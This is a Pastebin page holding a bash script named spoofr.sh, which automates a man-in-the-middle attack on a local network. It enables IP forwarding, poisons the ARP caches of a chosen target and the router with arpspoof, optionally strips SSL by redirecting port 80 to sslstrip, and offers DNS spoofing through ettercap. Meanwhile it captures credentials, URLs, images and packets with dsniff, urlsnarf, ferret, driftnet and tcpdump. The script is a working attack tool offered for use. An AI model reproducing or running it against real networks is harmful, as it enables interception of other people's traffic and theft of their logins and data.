Advertisement
opexxx

spoofr.sh

Jan 14th, 2016
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.97 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. fsetup()
  4. {
  5. IPNUMF=$(ifconfig | grep Bcast)                                
  6. IPNUM=${IPNUMF:20:14}                                                                   ###define our ip address
  7.                                                                    
  8. DECCOUNT="0"
  9. CHARPLACE="0"
  10. DECPLACE="1"
  11.  
  12. while [ $DECCOUNT != "3" ]                                                              ###define the last decimal place
  13. do                                    
  14.     CHARPLACE=$((CHARPLACE + 1))
  15.     DECPLACE=$((DECPLACE + 1))
  16.     IPCHAR=${IPNUM:$CHARPLACE:1}                                                        
  17.    
  18.     case $IPCHAR in                                                                ###define the decimal places
  19.         ".")
  20.             DECCOUNT=$((DECCOUNT + 1));;
  21.     esac
  22. done
  23.  
  24. ENET=${IPNUM:0:$DECPLACE}                                                               ###define the numbers up to the last decimal
  25. NODENUM=${IPNUM:$CHARPLACE:3}                                                           ###define the numbers after last decimal
  26. NICF=$(ifconfig | grep Bcast -B 1)                                                      ###define the connected interface
  27. NIC=${NICF:0:8}                                          
  28. AROUTR=$(route -n | grep $NIC)
  29. NODER=$(($DECPLACE + 3))
  30. ROUTRF=${AROUTR:16:$NODER}
  31. ROUTR=${ROUTRF:$DECPLACE:3}
  32. ROUTR=$(($ROUTR + 1 -1))
  33. ROUTR=$ENET$ROUTR                                                                       ###define the router ip
  34. GTERM="gnome-terminal --geometry="
  35. ETTER=$(locate etter.dns)
  36. }
  37.  
  38.  
  39. fattack()
  40. {
  41. if [ $SSLDO -z ]
  42.     then
  43.         read -p " [>] Do you want to break SSL? [y/N]: " DOSSL
  44.     else
  45.         DOSSL=$SSLDO
  46. fi
  47. echo 1 > /proc/sys/net/ipv4/ip_forward
  48. iptables --flush
  49. iptables --table nat --flush
  50. iptables --delete-chain
  51. iptables -P FORWARD ACCEPT
  52. iptables --table nat --delete-chain
  53. iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
  54. clear
  55.  
  56. echo " [*] IP forwarding enabled"
  57.  
  58. case $DOSSL in
  59.     "y")
  60.         iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  61.         echo " [*] SSL broken";;
  62. esac
  63.  
  64. arp
  65.  
  66. if [ $TARG -z ]
  67.     then
  68.         read -p " [>] TARGET IP: $ENET" TARG                                                                
  69.         TARG1=$ENET$TARG
  70.     else
  71.         TARG1=$ENET$TARG
  72. fi
  73.  
  74. clear
  75. echo " [*] Starting dsniff, tcpdump, driftnet, urlsnarf, ferret and spoofing in new windows, let's party.."
  76.  
  77. case $DOSSL in
  78.     "y")
  79.         $GTERM --geometry=10x5+200+600 -x sslstrip -f -k;;
  80. esac
  81.  
  82. $GTERM --geometry=70x5+0+600 -x dsniff -i $NIC -w /root/Desktop/test/dsniff$RANDOM
  83. $GTERM --geometry=70x18+0+0 -x urlsnarf -i $NIC
  84. $GTERM --geometry=70x15+200+320 -x ferret -i $NIC
  85. $GTERM --geometry=70x5+200+320 -x driftnet -i $NIC -p -d /root/Desktop/test/driftnet
  86. $GTERM --geometry=70x5+0+600 -x arpspoof -i $NIC -t $TARG1 $ROUTR
  87. $GTERM --geometry=70x5+0+700 -x arpspoof -i $NIC -t $ROUTR $TARG1
  88. $GTERM --geometry=70x5+0+600 -x tcpdump -w /root/Desktop/test/tcpdump$RANDOM.pcap -i $NIC
  89. fattack2
  90. }
  91.  
  92. fattack2()
  93. {
  94. while [ true ]
  95.     do
  96.         clear
  97.         echo " [*] press CTRL+C or ENTER clean up and exit [*]"
  98.         echo ' [>] press "d" and then ENTER for DNS spoofing'
  99.         read -p " [>] NEXT TARGET IP: $ENET" TARG2                                                   #### <<user input needed to attack
  100.         case $TARG2 in
  101.             "")fexit
  102.             ;;
  103.             "d")fdnspoof;;"D")fdnspoof
  104.             ;;
  105.             *)
  106.             TARG1=$ENET$TARG2
  107.             echo
  108.             echo
  109.             echo " [*] ATTACKING $TARG1 [*]"
  110.             $GTERM --geometry=70x5+0+600 -x arpspoof -i $NIC -t $TARG1 $ROUTR
  111.             $GTERM --geometry=70x5+0+700 -x arpspoof -i $NIC -t $ROUTR $TARG1
  112.         esac
  113.     done
  114. fexit
  115. }
  116.  
  117. fdnspoof (){
  118.     read -p " [*] Do you want to edit etter.dns? [Y/n]: " EDITDNS
  119.     case $EDITDNS in
  120.         "")vi $ETTER;;
  121.         "y")vi $ETTER;;
  122.         "Y")vi $ETTER
  123.     esac
  124.     clear
  125.     echo
  126.     echo " [*] DNS SPOOFING TIME £-P"
  127.     read -p " [>] TARGET IP/RANGE: $ENET" TARG
  128.     TARG1=$ENET$TARG
  129.     echo " [*] Press CTRL+C to quit..."
  130.     sleep 0.7
  131.     ettercap -T -q -i $NIC -P dns_spoof -M arp /$ROUTR/ /$TARG1/
  132.     fattack2
  133. }
  134.  
  135. fhelp()
  136. {
  137.     clear
  138.     echo """ spoofr - ARP poison and sniff with
  139.     DNS spoofing, urlsnarf, driftnet, ferret, dsniff, sslstrip and tcpdump.
  140.    
  141. Usage:      spoofr x y
  142.                 x - Target IP address extension
  143.                 y - Break ssl (1/0)
  144.            
  145.         eg. spoofr 100 1
  146.             attack $ENET"100" and break SSL"""
  147.             exit
  148. }
  149.  
  150. fexit (){                                                                             ###exit function
  151.     killall dsniff
  152.     killall urlsnarf
  153.     killall arpspoof
  154.     killall driftnet
  155.     killall ferret
  156.     killall sslstrip
  157.     killall tcpdump
  158.     echo 0 > /proc/sys/net/ipv4/ip_forward
  159.     iptables --flush
  160.     iptables --table nat --flush
  161.     iptables --delete-chain
  162.     iptables --table nat --delete-chain
  163.     clear
  164.     echo " [*] All systems are shutting down, Bye!"
  165.     sleep 1.5
  166.     clear
  167.     exit
  168. }
  169.  
  170. trap fexit 2
  171.  
  172. fsetup
  173.  
  174. if [ $# -gt 0 ]
  175.     then
  176.         TARG=$1
  177.         case $2 in
  178.                 1)SSLDO="y";;
  179.                 "0")SSLDO="n"
  180.         esac
  181. fi
  182.  
  183. case $1 in
  184. "-h")fhelp;;
  185. "--help")fhelp
  186. esac
  187.  
  188. fattack
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement